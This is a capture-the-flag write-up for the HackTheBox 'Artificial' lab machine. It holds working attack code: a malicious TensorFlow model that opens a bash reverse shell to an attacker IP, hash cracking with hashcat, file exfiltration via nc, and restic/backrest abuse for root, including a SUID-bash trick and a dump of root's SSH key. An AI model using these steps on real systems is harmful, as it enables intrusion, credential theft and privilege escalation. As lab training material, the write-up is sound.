HackTheBox Artificial
Writeup for HackTheBox Artificial
Machine Synopsis
Key Exploitation Techniques
- TensorFlow Remote Code Execution (RCE) via malicious model loading (Python
Lambda
layers) - SQLite database credential discovery and cracking
backrest
service abuse for root privilege escalation via backup restoration,RESTIC_PASSWORD_COMMAND
, orrestic dump
command
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ Artificial nmap -p- --min-rate 10000 10.10.11.74
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
➜ Artificial nmap -p 22,80 -sC -sV 10.10.11.74
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
An Nmap scan identified SSH (22/tcp) and HTTP (80/tcp) services.
The HTTP title “Did not follow redirect to http://artificial.htb/” indicated that artificial.htb
was the intended hostname. This was added to /etc/hosts
.
Update /etc/hosts
:
1
➜ echo -e '10.10.11.74\tartificial.htb' | sudo tee -a /etc/hosts
The website appeared to be a platform for AI solutions.
Exploitation
Initial Access (app)
Anonymous user registration was allowed on the web application. After registering and logging in, a file upload page was accessible. This page provided requirement.txt
and Dockerfile
files, hinting at the backend environment.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ Artificial cat requirements.txt
tensorflow-cpu==2.13.1
➜ Artificial cat Dockerfile
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
The Dockerfile
revealed the use of tensorflow-cpu-2.13.1
. This version of TensorFlow has a known Remote Code Execution (RCE) vulnerability related to arbitrary code execution during model loading, specifically through Python Lambda
layers.
To exploit this, a malicious TensorFlow model was crafted. It used a tf.keras.layers.Lambda
layer to embed an os.system
call, executing a reverse shell command when the model is loaded. The Dockerfile
provided the exact environment, making it crucial to build a local Docker image for consistent exploit development.
The malicious model (exploit.h5
) was created using a Python script, embedding a Netcat reverse shell payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜ Artificial cat exploit.py
# exploit_model.py
import tensorflow as tf
def exploit(x):
import os
os.system("bash -c \"sh -i >& /dev/tcp/10.10.16.17/1234 0>&1\"")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5") # This is the malicious model file
➜ Artificial sudo docker build --no-cache -t my-tf-image .
➜ Artificial sudo docker run --rm -it -v $(pwd):/code my-tf-image
root@0b97045fa64f:/code# python3 exploit.py
root@0b97045fa64f:/code# ls
Dockerfile exploit.h5 exploit.py myenv requirements.txt
After generating exploit.h5
, a Netcat listener was started on the attacker machine. The exploit.h5
file was then uploaded to the web application’s upload page. Clicking “View Predictions” on the web interface triggered the model loading, resulting in a reverse shell.
1
2
# Attacker machine: Netcat listener
➜ nc -nlvp 1234
1
2
3
4
5
6
➜ Artificial nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.17] from (UNKNOWN) [10.10.11.74] 40102
sh: 0: can't access tty; job control turned off
$ whoami
app
A shell was obtained as app
.
Privilege Escalation
User Privilege Escalation (gael)
Spawned an interactive shell using python3
.
1
2
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
app@artificial:~/app$
Further enumeration on the compromised system revealed a users.db
SQLite database file in /app/instance
. This database contained user credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
app@artificial:~/app$ ls instance
users.db
app@artificial:~/app$ file instance/users.db
instance/users.db: SQLite 3.x database, last written using SQLite version 3031001
app@artificial:~/app$ sqlite3 instance/users.db
sqlite> .tables
model user
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|shiro|shiro@artificial.htb|f93fc10472a31bb3061aa0b45e228c5a
The hash for user gael
(c99175974b6e192936d97224638a34f8
) was extracted and saved to hash.txt
. hashcat
was used with rockyou.txt
to crack it.
1
2
3
4
5
6
7
8
➜ cat hash.txt
c99175974b6e192936d97224638a34f8
➜ Artificial hashcat --identify hash.txt
...
0 | MD5 | Raw Hash
➜ Artificial hashcat -a 0 -m 0 hash.txt --wordlist /usr/share/wordlists/rockyou.txt
c99175974b6e192936d97224638a34f8:mattp005numbertwo
The password for gael
was mattp005numbertwo
. This allowed SSH login as gael
.
1
2
3
4
❯ ssh gael@artificial.htb
gael@artificial.htb's password: mattp005numbertwo
gael@artificial:~$ cat user.txt
5baabf49fa268aa5d2e867bd02ace73b
Root Privilege Escalation
Method 1: Backrest Backup Restoration
Enumeration within /var/backups
revealed a large backup file named backrest_backup.tar.gz
and confirmed gael
’s membership in the sysadm
group, which had read permissions on the file.
1
2
3
4
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
app@artificial:~/app$ ls -la /var/backups
-rw-r----- 1 root sysadm 52357120 Mar 4 22:19 backrest_backup.tar.gz
The backrest_backup.tar.gz
file was transferred to the attacker machine.
1
2
3
4
5
6
7
# On attacker machine, set up a netcat listener to receive the base64-encoded file. Then, immediately decode it.
➜ Artificial nc -nlvp 9001 > backrest_backup.tar.gz.b64 && base64 -d backrest_backup.tar.gz.b64 > backrest_backup.tar.gz
listening on [any] 9001 ...
# On target machine, send the file in base64 format
gael@artificial:~$ cd /var/backups/
gael@artificial:/var/backups$ base64 backrest_backup.tar.gz | nc 10.10.16.17 9001 -q 0
The backup archive was extracted.
1
➜ Artificial tar -xf backrest_backup.tar.gz
Inside the backup, the path backrest/.config/backrest/config.json
was found, containing a password hash for user backrest_root
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ Artificial cat backrest/.config/backrest/config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
The passwordBcrypt
field contained a Base64-encoded bcrypt hash. It was first decoded and then cracked using hashcat
.
1
2
3
4
5
6
➜ Artificial echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d > root_hash.txt
➜ Artificial hashcat --identify root_hash.txt
...
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
➜ Artificial hashcat -a 0 -m 3200 root_hash.txt --wordlist /usr/share/wordlists/rockyou.txt
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
The password for backrest_root
was !@#$%^
.
Further enumeration on the target showed a service listening on localhost port 9898
, identified as backrest
.
1
2
3
4
5
6
7
8
9
10
11
gael@artificial:/var/backups$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 2048 127.0.0.1:5000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9898 0.0.0.0:*
tcp LISTEN 0 511 [::]:80 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
...
The internal port 9898
was forwarded to the attacker machine via SSH for access.
1
2
# Attacker machine: SSH local port forward
➜ ssh gael@10.10.11.74 -L 9898:127.0.0.1:9898
The backrest
service running on port 9898 was a rest-server
instance, providing a web interface for managing backups. Its help output indicated it uses restic
as the underlying binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
gael@artificial:/var/backups$ backrest -h
Usage of backrest:
-bind-address string
address to bind to, defaults to 127.0.0.1:9898. Use :9898 to listen on all interfaces. Overrides BACKREST_PORT environment variable.
-config-file string
path to config file, defaults to XDG_CONFIG_HOME/backrest/config.json. Overrides BACKREST_CONFIG environment variable.
-data-dir string
path to data directory, defaults to XDG_DATA_HOME/.local/backrest. Overrides BACKREST_DATA environment variable.
-install-deps-only
install dependencies and exit
-restic-cmd string
path to restic binary, defaults to a backrest managed version of restic. Overrides BACKREST_RESTIC_COMMAND environment variable.
gael@artificial:/var/backups$ which backrest
/usr/local/bin/backrest
The backrest
service typically uses restic
for backups. The restic
binary has a root
command execution technique listed on GTFOBins.
A rest-server
(downloaded from GitHub) was set up on the attacker machine to serve as a remote repository.
1
2
3
4
5
6
7
8
9
# Attacker machine: Start rest-server
➜ Artificial chmod +x rest-server
➜ Artificial ✗ ./rest-server --path /tmp/restic-data --listen :12345 --no-auth
Data directory: /tmp/restic-data
Authentication disabled
Append only mode disabled
Private repositories disabled
Group accessible repos disabled
start server on [::]:12345
The backrest_root
credentials (backrest_root:!@#$%^
) were used to log into the internal backrest
web dashboard.
A new restic
repository was configured, and commands were run via the “Run Command” button on the dashboard. This action, when performed by the root
user on the target (as the backrest
service likely runs as root), implies restic
has root privileges.
Specifically, the /root
directory was backed up to the attacker-controlled rest-server
.
1
2
3
4
5
6
# on the created restic repository --> click on run command button
# init repo
-r rest:http://10.10.16.17:12345/test init
# backup /root to our server
-r rest:http://10.10.16.17:12345/test backup /root
1
2
# rest-server log
Creating repository directories in /tmp/restic-data/test
After the backup completed, the snapshot was viewed locally on the attacker machine.
1
2
3
4
5
6
7
8
9
➜ Artificial restic -r /tmp/restic-data/test snapshots
enter password for repository: password
repository e75b457c opened (version 2, compression level auto)
created new cache in /home/shiro/.cache/restic
ID Time Host Tags Paths Size
-----------------------------------------------------------------------
e514b74a 2025-07-14 17:41:15 artificial /root 4.299 MiB
-----------------------------------------------------------------------
1 snapshots
The snapshot was then restored to a local directory (./restore
) on the attacker machine.
1
2
3
4
5
6
7
# Attacker machine: Restore snapshot
➜ Artificial restic -r /tmp/restic-data/test restore e514b74a --target ./restore
enter password for repository: password
repository e75b457c opened (version 2, compression level auto)
[0:00] 100.00% 1 / 1 index files loaded
restoring snapshot e514b74a of [/root] at 2025-07-14 09:41:15.202609069 +0000 UTC by root@artificial to ./restore
Summary: Restored 80 files/dirs (4.299 MiB) in 0:00
Navigating to the restored /root
directory revealed root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Attacker machine: Access restored root folder
➜ Artificial ls -al ./restore/root
total 36
drwx------ 6 shiro shiro 4096 Jul 14 13:18 .
drwx------ 3 shiro shiro 4096 Jul 14 23:51 ..
lrwxrwxrwx 1 shiro shiro 9 Jun 9 17:37 .bash_history -> /dev/null
-rw-r--r-- 1 shiro shiro 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 shiro shiro 4096 Mar 4 05:52 .cache
drwxr-xr-x 3 shiro shiro 4096 Oct 19 2024 .local
-rw-r--r-- 1 shiro shiro 161 Dec 5 2019 .profile
lrwxrwxrwx 1 shiro shiro 9 Oct 19 2024 .python_history -> /dev/null
drwx------ 2 shiro shiro 4096 Mar 5 06:40 .ssh
-rw-r----- 1 shiro shiro 33 Jul 14 13:18 root.txt
drwxr-xr-x 2 shiro shiro 4096 Jun 9 21:57 scripts
The root.txt
flag was retrieved. Alternatively, the SSH private key for root
(e.g., id_rsa
in restore/root/.ssh
) could be used to log in directly as root.
1
2
3
4
# Attacker machine: SSH as root using restored key
➜ ssh -i ./restore/root/.ssh/id_rsa root@artificial.htb
root@artificial:~# cat root.txt
368710f40c4b87797b5245875abbdb05
Method 2: Backrest SUID bash
through RESTIC_PASSWORD_COMMAND
This method leverages the backrest
service’s ability to execute commands via environment variables, specifically RESTIC_PASSWORD_COMMAND
. This command is executed with elevated privileges by restic
when a password is required for a repository, allowing root
access.
On the backrest
dashboard, a new repository was created with RESTIC_PASSWORD_COMMAND
set to a command that would grant bash
SUID privileges. This action typically involves setting environment variables when defining a repository in the backrest
interface.
The environment variable RESTIC_PASSWORD_COMMAND=/bin/chmod +s /bin/bash
was used. This command makes /bin/bash
a SUID executable, allowing any user to execute bash
with root privileges. The flags --insecure-no-password -restic-cmd
are typically set to disable password prompts for restic
and allow direct command execution via restic-cmd
.
After a restic
command that would trigger a password prompt (e.g., restic init
) was executed on the dashboard, the chmod
command was run as root.
1
2
3
# On target machine, after successful SUID permission set
gael@artificial:/var/backups$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
With /bin/bash
now SUID, the gael
user could directly execute bash -p
to get a root shell.
1
2
3
gael@artificial:~$ bash -p
bash-5.0# whoami
root
Method 3: Arbitrary Read via Backrest dump
Command
This method directly utilizes the backrest
dashboard’s “Run Command” feature to read arbitrary files from the target system, provided restic
(underlying binary for backrest
) has read permissions to the file. This bypasses the need for an external rest-server
.
Log into the internal backrest
web dashboard (http://127.0.0.1:9898
via SSH tunnel) using backrest_root:!@#$%^
.
First, create a new local restic
repository on the target’s filesystem via the web interface’s “Run Command” feature. Use this feature to execute a backup of the desired sensitive file (e.g., /root/.ssh/id_rsa
). This stores the file as a local restic
snapshot within the newly created repository.
1
2
3
4
5
6
backup /root/.ssh/id_rsa
# Ouput example
ID Time Host Tags Paths Size
-----------------------------------------------------------------------
<snapshot_id> 2025-07-14 17:45:00 artificial /root/.ssh/id_rsa 0.003 MiB
-----------------------------------------------------------------------
Next, use the dump
command with the snapshot ID to read the content of the file directly, which will be displayed in the dashboard’s output.
1
2
# Dump the content of the file from the snapshot
dump <snapshot_id> /root/.ssh/id_rsa